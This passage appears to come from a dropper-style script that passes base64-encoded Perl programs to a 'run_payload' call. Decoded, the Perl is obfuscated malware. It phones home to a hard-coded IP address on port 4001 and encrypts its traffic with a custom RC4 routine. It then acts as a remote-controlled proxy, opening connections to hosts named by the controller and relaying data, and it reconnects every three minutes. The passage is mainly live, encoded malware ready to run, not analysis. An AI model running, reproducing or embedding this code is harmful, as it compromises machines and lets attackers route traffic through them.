jAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_63.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjA1JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwg